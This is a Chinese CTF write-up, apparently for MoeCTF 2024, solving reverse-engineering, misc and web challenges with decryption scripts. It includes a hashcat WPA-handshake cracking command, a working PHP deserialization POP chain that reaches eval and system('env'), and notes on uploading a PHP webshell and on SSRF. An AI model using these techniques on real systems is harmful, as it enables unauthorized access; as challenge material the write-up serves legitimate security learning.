cipher=[0,1,60,2,-20,6,-25,0,1,60,2,-20,6,-27,0,1,60,2,-20,6,-33,0,1,60,2,-20,6,-31,0,1,60,2,-20,6,-50,0,1,60,2,-20,6,-36,0,1,60,2,-20,6,-39,0,1,60,2,-20,6,-24,0,1,60,2,-20,6,-52,0,1,60,2,-20,6,-29,0,1,60,2,-20,6,-52,0,1,14,2,5,6,-64,0,1,14,2,5,6,-58,0,1,14,2,5,6,-63,0,1,14,2,5,6,-52,0,1,14,2,5,6,-90,0,1,14,2,5,6,-39,0,1,14,2,5,6,-43,0,1,14,2,5,6,26,0,1,14,2,5,6,25,0,1,14,2,5,6,-49,0,1,14,2,5,6,-64,0,1,10,2,5,6,-51,0,1,10,2,5,6,25,0,1,10,2,5,6,-45,0,1,10,2,5,6,-55,0,1,10,2,5,6,-47,0,1,10,2,5,6,24,0,1,10,2,5,6,-41,0,1,10,2,5,6,-60,0,1,10,2,5,6,22,0,1,10,2,5,6,-40,0,1,10,2,5,6,-60,0,2,14,2,10,6,-15,0,2,14,2,10,6,50,0,2,14,2,10,6,-51,0,2,14,2,10,6,-31,0,2,14,2,10,6,50,0,2,14,2,10,6,50,0,2,14,2,10,6,-35,0,2,14,2,10,6,50,0,2,14,2,10,6,-35,0,2,14,2,10,6,51,0,2,14,2,10,6,-17]

print(cipher)
storage=[]
flag=""
f="0123456789abcdefghijklmnopqrstuvwxyz_+=\[!\]#$%^&*ABCDEFGHIJKLMNOP@QRSTUVWXYZ`}{\|\"';:?/ \^,.~"
test=""
t=0
while True:
test = flag+f[t]
index=0
i=0
sum=0
store=0
while i<len(cipher):
k=cipher[i]
i=i+1
if k==0:
store = (ord(test[index])^202)+32
index += 1
elif k==1:
store ^= cipher[i]

i=i+1
elif k==2:
store += cipher[i]
i=i+1
elif k==3:
store &= cipher[i]

i=i+1
elif k==4:
store <<= cipher[i]
i=i+1
elif k==5:
store |= cipher[i]

i=i+1
elif k==6:
if store==cipher[i] or store==cipher[i]+256://可能出现互补的情况
sum=sum+1
if sum==len(test):
flag=flag+f[t]
print(flag)
t=0
break
else:
t+=1
break
if '}' in flag:
break
PYTHON

直接逆向的脚本存在一定的侥幸,脚本中没用到&和|,不然异或不了

其中要特别关注的是,操作码存在在数组中的位置是奇偶交替的,并在每次输出flag之后更新,我在脚本中添加了变量f2来适应这种情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
cipher=[0,1,60,2,-20,6,-25,0,1,60,2,-20,6,-27,0,1,60,2,-20,6,-33,0,1,60,2,-20,6,-31,0,1,60,2,-20,6,-50,0,1,60,2,-20,6,-36,0,1,60,2,-20,6,-39,0,1,60,2,-20,6,-24,0,1,60,2,-20,6,-52,0,1,60,2,-20,6,-29,0,1,60,2,-20,6,-52,0,1,14,2,5,6,-64,0,1,14,2,5,6,-58,0,1,14,2,5,6,-63,0,1,14,2,5,6,-52,0,1,14,2,5,6,-90,0,1,14,2,5,6,-39,0,1,14,2,5,6,-43,0,1,14,2,5,6,26,0,1,14,2,5,6,25,0,1,14,2,5,6,-49,0,1,14,2,5,6,-64,0,1,10,2,5,6,-51,0,1,10,2,5,6,25,0,1,10,2,5,6,-45,0,1,10,2,5,6,-55,0,1,10,2,5,6,-47,0,1,10,2,5,6,24,0,1,10,2,5,6,-41,0,1,10,2,5,6,-60,0,1,10,2,5,6,22,0,1,10,2,5,6,-40,0,1,10,2,5,6,-60,0,2,14,2,10,6,-15,0,2,14,2,10,6,50,0,2,14,2,10,6,-51,0,2,14,2,10,6,-31,0,2,14,2,10,6,50,0,2,14,2,10,6,50,0,2,14,2,10,6,-35,0,2,14,2,10,6,50,0,2,14,2,10,6,-35,0,2,14,2,10,6,51,0,2,14,2,10,6,-17]
cipher=cipher[::-1]
# print(cipher)
i=0
f=0
f1=0
store=0
flag=""
storage=[]
f2=1
while i<len(cipher):
k=cipher[i]
i += 1
if k==6:
if (i-1)%2==f2:
store=cipher[i-2]
else:
pass
elif k == 1:
if (i-1)%2==f2:
store ^= cipher[i-2]
else:
pass
elif k==2:
if (i-1)%2 == f2:
store -= cipher[i-2]
else:
pass
elif k==3:
if (i-1)%2 == f2:
store &= cipher[i-2]
else:
pass
elif k==4:
if (i-1)%2 == f2:
store >>= cipher[i-2]
else:
pass
elif k==5:
if (i-1)%2 == f2:
store |= cipher[i-2]
else:
pass
elif k==0:
if (i - 1) % 2 == 1-f2:
f2=1-f2
character=(store-32)^202
if character < 0:
flag+=chr(character+256)
print(flag[::-1])
else:
flag+chr(character)
else:
pass
else:
pass
PYTHON

就复杂度来说肯定是脚本二更好

sm4

直接将解密函数的栈内数据改成enc的数据,加密的时候注意输入48位,这样才能解密成功

更简单的方法是将汇编的待解密的数据地址直接指向enc

改成A0是因为在栈中,enc的地址是-100h

此时只需要将A0h-100h相对地址算出来,发现是负的就再+100h,结果就是A0,所以改成A0自然就指向enc的地址了

patch完之后要进行保存edit->patch program->apply patches

现在再直接进行调试,特别要注意随意输入也要48位

moeprotector

先upx脱壳,比较简单就不说了,然后用ida打开

查看流程图

可以看到有一个try语句,正常不产生错误是往左边走,那就一直在左边循环,但是很明显可以发现,我们得往右边走,那就得触发except语句,看到左边的逻辑其实是对输入的数字做除法运算,那就输入的除数为0,就可以触发异常,注意在右边提前下一个断点,不然走太快

输入之后会有报错,这个报错表示异常触发,直接点确定,然后再点f9

出现异常怎么处理的选择,我们需要选择第一个,也就是把异常抛给程序

可以看到已经在我之前下的断点处停了下来,接着直接f8,慢慢下去

发现需要输入了,那就输入57个’a’,至于为什么是57个,其实你按流程图走到最后,会发现

这边再循环比较,所以byte_883658数组中存的大概率就是密文了,进去看一下刚好57位,所以上面输入57个’a’,接着调试发现直接报

被反调试了,在调试前选择插件

然后接着去调试,发现这次没有报错

一步步调试下去

这一部分没进行加密操作

这一部分进行了加密操作,大致流程是对明文进行每4位的加密,因为明文是57位,所以最后一位在单独加密,大胆猜测所有位都和最后一位的加密的方式相同,所以按最后一位来

之后还有两处和上面差不多的加密的方式,我这边直接贴图就不详细分析了

第二处

第三处

所以整个加密流程是这样的

1
2
3
1、((0x15 + i)^cipher[i])+0x14=cipher[i]
2、((0x1A + i)^cipher[i])+0x14=cipher[i]
3、((0x19 + i)^cipher[i])+0x14=cipher[i]
APACHE

写脚本解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cipher=[  0xC7, 0xC4, 0xC9, 0xCE, 0xC2, 0xD1, 0x8B, 0x66, 0x6B, 0x8D,
0xB0, 0x45, 0xF9, 0x84, 0xFF, 0xB2, 0x51, 0xAB, 0xB3, 0x4C,
0x33, 0xA8, 0x61, 0x0E, 0xC5, 0x3B, 0x5B, 0xF9, 0x11, 0x82,
0x8B, 0x8E, 0x7A, 0x23, 0x68, 0x7A, 0x21, 0x1F, 0x87, 0x91,
0x46, 0x8D, 0x90, 0xA4, 0xA5, 0xE0, 0x35, 0xD9, 0x41, 0x4E,
0x44, 0xF1, 0x37, 0xAF, 0x26, 0x3A, 0x8F]
flag=""
for i in range(0,len(cipher)):
cipher[i] = (cipher[i]-0x14)&0xff^(0x19+i)
for i in range(0,len(cipher)):
cipher[i] = (cipher[i]-0x14)&0xff^(0x1A+i)
for i in range(0,len(cipher)):
cipher[i] = (cipher[i]-0x14)&0xff^(0x15+i)
for i in range(len(cipher)):
flag += chr(cipher[i])
print(cipher)
print(flag)
//moectf{w1Nd0Ws_S3H_15_A_g0oD_m37h0d_70_h4nd13_EXCEPTI0NS}
PYTHON

ezMAZE

就是一个迷宫一样的东西,输入符合条件的wasd,给你flag

switch就是在不断的循环检测你输入的wasd字符串符不符合要求

然后根据这个函数加上你之前输入的wasd字符串来计算flag,将flag中间的数字替换成你计算出来的数字

这题直接逆有点不现实,所以要考虑爆破,在爆破中简单加一点回溯的机制就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#include <stdio.h>
unsigned int cipher[]={0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xBF, 0xFF, 0xEA, 0xA8, 0xA4, 0x92, 0x4F, 0xFF, 0xFF, 0xFF,
0x80, 0x00, 0x3D, 0x14, 0x94, 0x92, 0xB8, 0x00, 0x00, 0xFF,
0xFF, 0xFF, 0xBB, 0xDA, 0x1F, 0x29, 0x7B, 0xFF, 0xFE, 0xFF,
0xC0, 0x00, 0x3B, 0xDA, 0xDC, 0x00, 0x03, 0x00, 0x00, 0xFF,
0xDF, 0xFF, 0xFB, 0xDA, 0xDD, 0xFF, 0xFF, 0x7F, 0xFF, 0xFF,
0xC0, 0x00, 0x3B, 0xDA, 0xDC, 0x00, 0x03, 0x00, 0x00, 0xFF,
0xFF, 0xFF, 0xB8, 0x42, 0x1F, 0xFF, 0xFB, 0xFF, 0xFE, 0xFF,
0xC0, 0x00, 0x3F, 0xFF, 0xFC, 0x00, 0x03, 0x00, 0x00, 0xFF,
0xDF, 0xFF, 0xF8, 0x7C, 0x3D, 0xFF, 0xFF, 0x7F, 0xFF, 0xFF,
0xC0, 0x00, 0x3B, 0xFD, 0xBC, 0x00, 0x03, 0x00, 0x3E, 0x1F,
0xFF, 0xFF, 0xB8, 0x7C, 0x7F, 0xFF, 0xFB, 0xFF, 0xBE, 0xDF,
0xFF, 0xFF, 0xBF, 0x7D, 0xBD, 0x29, 0x7B, 0xFF, 0xBE, 0xDF,
0xFF, 0xFF, 0x98, 0x7C, 0x3F, 0xFF, 0xFB, 0xFF, 0xBE, 0xDF,
0x80, 0x00, 0x4F, 0xFF, 0xF8, 0x00, 0x02, 0x00, 0x3E, 0xDF,
0xBF, 0x7F, 0x6F, 0xFF, 0xFB, 0xFF, 0xFE, 0xFF, 0xFE, 0xDF,
0x96, 0xAB, 0x60, 0x00, 0x08, 0x00, 0x02, 0x01, 0xFE, 0xDF,
0x96, 0xAB, 0x7F, 0xFF, 0xEF, 0xFF, 0xFB, 0xFD, 0xFE, 0xDF,
0x95, 0x4B, 0x70, 0x00, 0x0C, 0x00, 0x03, 0x01, 0xFE, 0xDF,
0x95, 0x4B, 0x77, 0xFF, 0xFD, 0xFF, 0xFF, 0x7F, 0xFE, 0xDF,
0xAA, 0x96, 0x70, 0x00, 0x0C, 0x00, 0x03, 0x00, 0x06, 0xDF,
0x92, 0x57, 0x7F, 0xFF, 0xEF, 0xFF, 0xFB, 0xFF, 0xF6, 0xDF,
0x92, 0x94, 0x70, 0x00, 0x0C, 0x00, 0x03, 0x00, 0x06, 0xDF,
0x8A, 0x4B, 0x77, 0xFF, 0xFD, 0xFF, 0xFF, 0x7F, 0xFE, 0xDF,
0xAE, 0xD5, 0x70, 0x00, 0x0C, 0x00, 0x03, 0x00, 0x0E, 0xDF,
0x95, 0x4A, 0xFF, 0xFF, 0xEF, 0xFF, 0xFB, 0xFF, 0xEE, 0xDF,
0x8A, 0x4A, 0x4A, 0x50, 0xEC, 0x00, 0x03, 0xFF, 0xEE, 0xDF,
0xBF, 0x7F, 0x7F, 0xFF, 0xE1, 0xFF, 0xFF, 0xFF, 0xEE, 0xDF,
0xFF, 0xFF, 0xF5, 0x5D, 0x7F, 0xFF, 0xFF, 0xFF, 0xEE, 0xDF,
0x80, 0x00, 0x38, 0xD5, 0x35, 0x2A, 0x98, 0x00, 0x0E, 0xDF,
0xBF, 0xFF, 0xBD, 0x51, 0x2F, 0xFF, 0xFB, 0xFF, 0xFE, 0xDF,
0xA0, 0x00, 0x3F, 0xFF, 0xFC, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xAF, 0xFF, 0xFF, 0xC0, 0x7D, 0xFF, 0xFF, 0x7F, 0xFF, 0xDF,
0xA0, 0x00, 0x3F, 0xDF, 0x7C, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xBF, 0xFF, 0xBF, 0xDF, 0x7F, 0xFF, 0xFB, 0xFF, 0xFE, 0xDF,
0xA0, 0x00, 0x3F, 0xDF, 0x7C, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xAF, 0xFF, 0xFF, 0xDF, 0x7D, 0xFF, 0xFF, 0x7F, 0xFF, 0xDF,
0xA0, 0x00, 0x3F, 0xDF, 0x7C, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xBF, 0xFF, 0xBF, 0xDF, 0x7F, 0xFF, 0xFB, 0xFF, 0xFE, 0xDF,
0xBC, 0x8B, 0xBF, 0xDF, 0x7F, 0xFF, 0xFB, 0xFF, 0xFE, 0xDF,
0xA9, 0x24, 0x9F, 0xDF, 0x7F, 0xFF, 0xFB, 0xFF, 0xFE, 0x5F,
0xB2, 0xA1, 0xCF, 0xDF, 0x78, 0x00, 0x02, 0x00, 0x03, 0x5F,
0xB1, 0x52, 0xEF, 0xDF, 0xFB, 0xFF, 0xFE, 0xFF, 0xFB, 0x5F,
0xAA, 0x22, 0xE0, 0x00, 0x08, 0x00, 0x02, 0x01, 0xF8, 0x5F,
0xBD, 0x29, 0xFF, 0xFF, 0xEF, 0xFF, 0xFB, 0xFD, 0xFF, 0xDF,
0xB2, 0x52, 0xB0, 0x00, 0x0C, 0x00, 0x03, 0x01, 0xFF, 0xDF,
0xB4, 0x94, 0xB7, 0xFF, 0xFD, 0xFF, 0xFF, 0x7F, 0xFF, 0xDF,
0xB2, 0x4A, 0xB0, 0x00, 0x0C, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xB2, 0x52, 0x5F, 0xFF, 0xEF, 0xFF, 0xFB, 0xFF, 0xFE, 0xDF,
0xB2, 0x54, 0xD0, 0x00, 0x0C, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xB2, 0x52, 0x57, 0xFF, 0xFD, 0xFF, 0xFF, 0x7F, 0xFF, 0xDF,
0xB2, 0x91, 0x30, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0xDF,
0xB0, 0x89, 0x7F, 0xFF, 0xFF, 0xFF, 0xF8, 0x7F, 0xFE, 0xDF,
0xBC, 0x91, 0x10, 0xFF, 0xE0, 0x00, 0x03, 0xFF, 0xFE, 0xDF,
0x80, 0x00, 0x00, 0x00, 0x0D, 0xFF, 0xFE, 0x94, 0x8A, 0x5F,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
int migong(int a1,int a2){//v5,v4
unsigned __int8 v3;
if ( a1 > 80 || a2 > 56 || a1 < 1 || a2 < 1 ){
return 1;
}
v3 = cipher[10 * a2 - 10 + (a1 - 1) / 8];//a2 (1,56) a1 (1,80) 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
cipher[10 * a2 - 10 + (a1 - 1) / 8] = (1 << (7 - (a1 - 1) % 8)) | v3;
return ((int)v3 >> (7 - (a1 - 1) % 8)) & 1;
}
int main(){
printf("%s","M0EC7F-2024 ezMaze\n");
printf("%s","ohno I'v stuck in a M4Z3... h3lp me (use w,a,s,d)\n");
int v5 = 2;
int v4 = 2;
int q=0;
printf("%s","please input the path sequence...\n");
char mi[1176];
char se[]={'a','d','s','w'};
while(q<1176){
int flag=0;

for(int i=0 ;i<4;i++){
char v7 = se[i];
switch(v7){
case 'a':
if (v5<=1 || (unsigned int)migong(v5-1,v4)){

}
else{
--v5;
flag=1;
}
break;
case 'd':
if (v5>=80 || (unsigned int)migong(v5+1,v4)){

}
else{
++v5;
flag=1;

}
break;
case 's':
if (v4>=56 || (unsigned int)migong(v5,v4+1)){

}
else{
++v4;
flag=1;

}
break;
case 'w':
if (v4<=1 || (unsigned int)migong(v5,v4-1)){

}
else{
--v4;
flag=1;

}
break;
default:
printf("%s","you can only input w,a,s,d\n");
break;

}
if(flag==1){
printf("%c",se[i]);
mi[q]=se[i];
q=q+1;
break;
}
}
if(q==960){//简单的回溯机制,调整爆破顺序
se[0]='a';
se[1]='s';
se[2]='w';
se[3]='d';
}
}
printf("\nv5=%d,v4=%d",v5,v4);
return 0;
}



C

得到wasd字符串去计算flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
int main(){
__int64 v3=0;

char s[]="sddddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddsssdsdssddddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddsssdddwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaaawwddddddddddddddddwwwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwddddddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassdddddddddssssaaaaaaaaaassdddddddssaaaaaassddddddddddddssaaaaaaaaaaaassdddddddddddsssssaaaaaaaaaaaaaassaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssssaaaaaaaaaaaaaaaassddddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassaaaaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaaawwawawwwaaaaaaaaaaaaaawwddddddddddddddwwaaaaaaaaaaaaaawwddddddddddddddwwaaaaaaaaaaaaaaaasssssssssssssssssssssssssddddddddddddddddddddddddddddddddddwddddddddddddddddddwdddwwwdddddddddddddddwwaaaaaaaaaaaaaaawwddddddwwaaaaaaawwddddddddddddddssdddwwwawwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwwwwwwwwwwwwwwwwwwwwdddssssssssssssssssssssssssssssssssssssssssssss";
printf("%d",1*s[1]);
for(int i=0;i<1176;++i){
v3 += i*3113131*s[i]+i*i+1131796;
}
printf("the_%llu_amazing_maze!!}", v3);
return 0;
}

//moectf{the_18446744024826406994_amazing_maze!!}
C

Just-Run-It

第一段flag是exe直接脱壳后ida逆向

6257396c5933526d657a55355a6d45

第二段flag直接去Linux下运行elf的文件

324d444a6a4c5459794e4745744e44

第三段flag用android14的系统去运行apk

42694e7930345954566a4c57557a4e

第四段flag去github查看有没有riscv架构的docker镜像

找到了镜像https://github.com/DavidBurela/riscv-emulator-docker-image去安装直接运行文件

[87, 85, 49, 78, 122, 82, 106, 90, 106, 108, 105, 79, 88, 48, 61]转字符WU1NzRjZjliOX0=

第四段flag用android14的系统去运行apk

flag=moectf{59fa602c-624a-40b7-8a5c-e35e574cf9b9}

SMCProMax

题目提示SMC,意思就是在程序运行过程中程序会更改,查看ida

发现关键函数点进去查看

发现在对内存地址的值进行异或0x90的操作,我们就去查看那边的内存

发现确实有一串奇怪的数字

两种解法

解法一:动调,观察内存中的变化

下个断点直接调试,再去查看内存

发现确实变了

按c转汇编,之后就右键,创建函数

反汇编之后得到

逻辑就是每四个字节按条件循环32轮之后与!=的密文进行比较

这边要注意在第一行

第23个字节xor了12所以后面得异或回去,直接写脚本

爆破的c脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
int main(){
int cipher;
for(int i=0;i<0xffffffff;i++){
cipher = i;
for(int i1=0;i1<32;i1++){
if(cipher>0){
cipher *=2;
}
else{
cipher = cipher*2;
cipher = cipher^0xC4F3B4B3;
}
}
if (cipher==2053092702){
printf("flag1:%x\n",i);
}
else if(cipher==-490481854){
printf("flag2:%x\n",i);
}
else if(cipher==-1704322843){
printf("flag3:%x\n",i);
}
else if(cipher==-1418679088){
printf("flag4:%x\n",i);
}
else if(cipher==86802781){
printf("flag5:%x\n",i);
}
else if(cipher==987171458){
printf("flag6:%x\n",i);
}
else if(cipher==965631658){
printf("flag7:%x\n",i);
}
else if(cipher==264545711){
printf("flag8:%x\n",i);
}
else if(cipher==-1342106783){
printf("flag9:%x\n",i);
}
else if(cipher==-825370173){
printf("flag10:%x\n",i);
}

}

return 0;
}
C

flag解析脚本

1
2
3
4
5
6
7
8
9
from libnum import *

plaintext=[0x63656f6d,0x797b6674,0x6d5f7530,0x5f743575,0x776f6e6b,0x4876765f,0x315f7441,0x535f5f73,0x5f5f434d,0x7d77306e]
flag=b""
for i in range(0,len(plaintext)):
if i == 5:
plaintext[i] ^= 0x12000000 #和第23个字节异或0x12
flag += n2s(plaintext[i])[::-1]
print(flag)
PYTHON

解法二就是写idc脚本

1
2
3
4
5
6
7
8
static xor(){
auto addr = 0x00401062;
auto i = 0;
for(i=0;addr+i<0x00401427;i++){
PatchByte(addr+i,Byte(addr+i)^0x90);
}

}
IDC

在文件选项那边选择脚本命令输入这个脚本点run就可以改对应的内存,之后的操作和解法一一样了

xor(大嘘)

直接ida分析

可以知道byte中是数组而sub是加密函数,我们追踪一下sub函数

看到只是简单的异或但是其实没有那么简单,我们在return下个断点

执行下去发现并没有直接的return,发现了两个关键的函数,我们去查看第二个关键的函数

可以看到是其实是一个魔改过的tea加密算法,接着往下追踪

tea加密完之后还会去一个新的函数中,我们接着追踪一下

发现进行一系列的初始化操作之后又进入了一个新的函数,我们接着点击这个函数

发现其实就是每位的循环异或所以整个加密的流程就是

1
循环异或->tea->循环异或
CLEAN

我们解密只要反过来就行

先循环异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
cipher=[
0x3C, 0x0D, 0x05, 0x1F, 0x30, 0x6E, 0x1E, 0x30, 0x04, 0x3C,
0x12, 0x52, 0x59, 0x03, 0x6D, 0x52, 0x04, 0x04, 0x0B, 0x33,
0x1F, 0x33, 0x17, 0x3B, 0x17, 0x1A, 0x2B, 0x07, 0x55, 0x04,
0x5B, 0x5A]
key=[0x2b,0xf2,0x82,0x41,0x48,0x74,0x9d,0xaa,0x7e,0x4c,0xda,
0x4,0x8,0x2c,0xa8,0x52,0x97,0x77,0xb7,0x3b,0x16,0x2d,0xd4,0xfc
,0x60,0xbe,0xc4,0xb6,0x73,0x19,0x94,0x87]
for i in range(len(cipher)):
cipher[i] ^= key[i]
print(hex(cipher[i]))

# 0x17
# 0xff
# 0x87
# 0x5e
# 0x78
# 0x1a
# 0x83
# 0x9a
# 0x7a
# 0x70
# 0xc8
# 0x56
# 0x51
# 0x2f
# 0xc5
# 0x0
# 0x93
# 0x73
# 0xbc
# 0x8
# 0x9
# 0x1e
# 0xc3
# 0xc7
# 0x77
# 0xa4
# 0xef
# 0xb1
# 0x26
# 0x1d
# 0xcf
# 0xdd
PYTHON

再tea解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
void encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i;
uint32_t delta = 0x9e3779b9;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++)
{
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
printf("%x,%x\n",v0,v1);
}

}
void decrypt(uint32_t* v, uint32_t* k)
{
uint32_t delta = 0x9e3779b9;
uint32_t v0 = v[0], v1 = v[1], sum = (delta * 32) & 0xffffffff, i;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++)
{
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0; v[1] = v1;
printf("%x\n%x\n",v0,v1);
}


int main()
{
uint32_t array[] = {0x5e87ff17, 0x9a831a78, 0x56c8707a, 0x00c52f51, 0x08bc7393, 0xc7c31e09, 0xb1efa477, 0xddcf1d26} ,array1[]={0x080f0709,0x0b0e3d0e};
uint32_t key[4] = {0x6c6c6568, 0x6f6d5f6f, 0x66746365, 0x34323032};
for (int i = 0; i < 8; i += 2)
{
uint32_t temp[2];
temp[0] = array[i];
temp[1] = array[i + 1];
decrypt(temp, key);

// printf("%c%c%c%c%c%c%c%c", *((char*)&temp[0] + 0), *((char*)&temp[0] + 1), *((char*)&temp[0] + 2), *((char*)&temp[0] + 3), *((char*)&temp[1] + 0), *((char*)&temp[1] + 1), *((char*)&temp[1] + 2), *((char*)&temp[1] + 3));
// //更新data
}
return 0;
}
// f090a05
// 716391b
// 72b140a
// 55576f5c
// 6331c1b
// 3006311a
// 39100d04
// 49535546
C

再循环异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cipher=[0x05,0x0a,0x09,0x0f,0x1b,0x39,0x16,0x07,
0x0a,0x14,0x2b,0x07,0x5c,0x6f,0x57,0x55,
0x1b,0x1c,0x33,0x06,0x1a,0x31,0x06,0x30,
0x04,0x0d,0x10,0x39,0x46,0x55,0x53,0x49]
key=[
0x68, 0x65, 0x6C, 0x6C, 0x6F, 0x5F, 0x6D, 0x6F, 0x65, 0x63,
0x74, 0x66, 0x32, 0x30, 0x32, 0x34
]
flag=""
for i in range(len(cipher)):
flag += chr(cipher[i]^key[i%len(key)])

print(flag)
#moectf{how_an_easy_junk_and_tea}
PYTHON

特工luo: 闻风而动

先根据提示用hashcat去爆破wifi密码

首先需要通过 Hashcat 网站将 cap 文件转换为 hc22000 格式

网站地址:https://hashcat.net/cap2hashcat/index.pl

再进行hashcat的爆破

1
hashcat -m 22000 <path_to_hash_file> -a 3 -1 <custom_charset> ?1?1?1?1?1?1
PYTHON

这里,-m 22000 是用于 WPA/WPA2 的模式,-1 <custom_charset> 是你的自定义字符集,?1?1?1?1?1?1 表示你想要尝试的密码长度(6个字符)。根据需要调整长度和字符集。

直接爆破出来密码pzyisxnn,运行keygen程序能得到服务器的密码4g3n71u0

v4明文

v14密文

v5明文长度0x42(66)

v7长度,v14密文

a1密文,a2长度,a3密钥,a4=1

密钥生成算法

WEB

弗拉格之地的入口

打开换进提示爬虫,猜测可能要目录扫描,根据多年经验先访问robots.txt,发现路由

直接去访问得到flag

ez_http

简单的http入门

先用post

提示传参

再用get传参

改变refere

去添加cookie

去改变浏览器

用本地去访问

最后得到flag

ProveYourLove

师傅们整活,首先抓包再说,然后爆破400次就可以了

弗拉格之地的挑战

根据提示去访问路由,查看源代码

得到flag1=bW9lY3Rm,接着去访问下一个路由

查看响应得到flag2=e0FmdEV,接着去访问下一个提示的路由

获得flag3=yX3RoMXN,去访问下一个路由

首先修改referer,然后再去js代码审计

发现实质是用post方法去传参数

得到flag4=fdFVUMHJ,再去访问下一个路由

接着js审计

得到flag5=fSV90aDF,再去访问下一个路由

得到flag6=rZV9VX2t,去访问最后一个路由,终于要结束了nnd

得到flag7=rbm93X1dlQn0=

所以flag=bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=

去base64解密一下得到moectf{AftEr_th1s_tUT0r_I_th1ke_U_kknow_WeB}

pop moe

一题反序列化题目,好久没做了,果然还是生疏了,也遇到了新的知识点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php

class class000 {
private $payl0ad = 1;
protected $what;//new class001
public function __construct()
{
$this->what=new class001();
$this->what->a=new class002();


$this->what->payl0ad="dangerous";
}
public function __destruct()
{
$this->check();
}

public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

class class001 {
public $payl0ad;//dangerous
public $a;//class002
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}

class class002 {
private $sec;
public $sec1;
public function __construct()
{
$this->sec=new class003();
$this->sec->mystr="system('env');";
}
public function __set($a, $b)
{
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}

}

class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}

public function __tostring()
{
return $this->mystr;
}
}
$class0=new class000();
echo urlencode(serialize($class0));


PHP

特别要注意的是

1
2
3
4
5
6
7
8
9
public function __set($a, $b)
{
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}
PHP

$this->sec并不冲突,一开始我以为$this->sec既要是new class003又要是执行的shell命令,后来发现真正是shell命令是在class003中的mystr中的

垫刀之路01: MoeCTF?启动!

ImageCloud前置

经典ssrf

垫刀之路02: 普通的文件上传

直接上传php木马后利用(连后缀什么的都没检查,根本不用绕过)

垫刀之路03: 这是一个图床

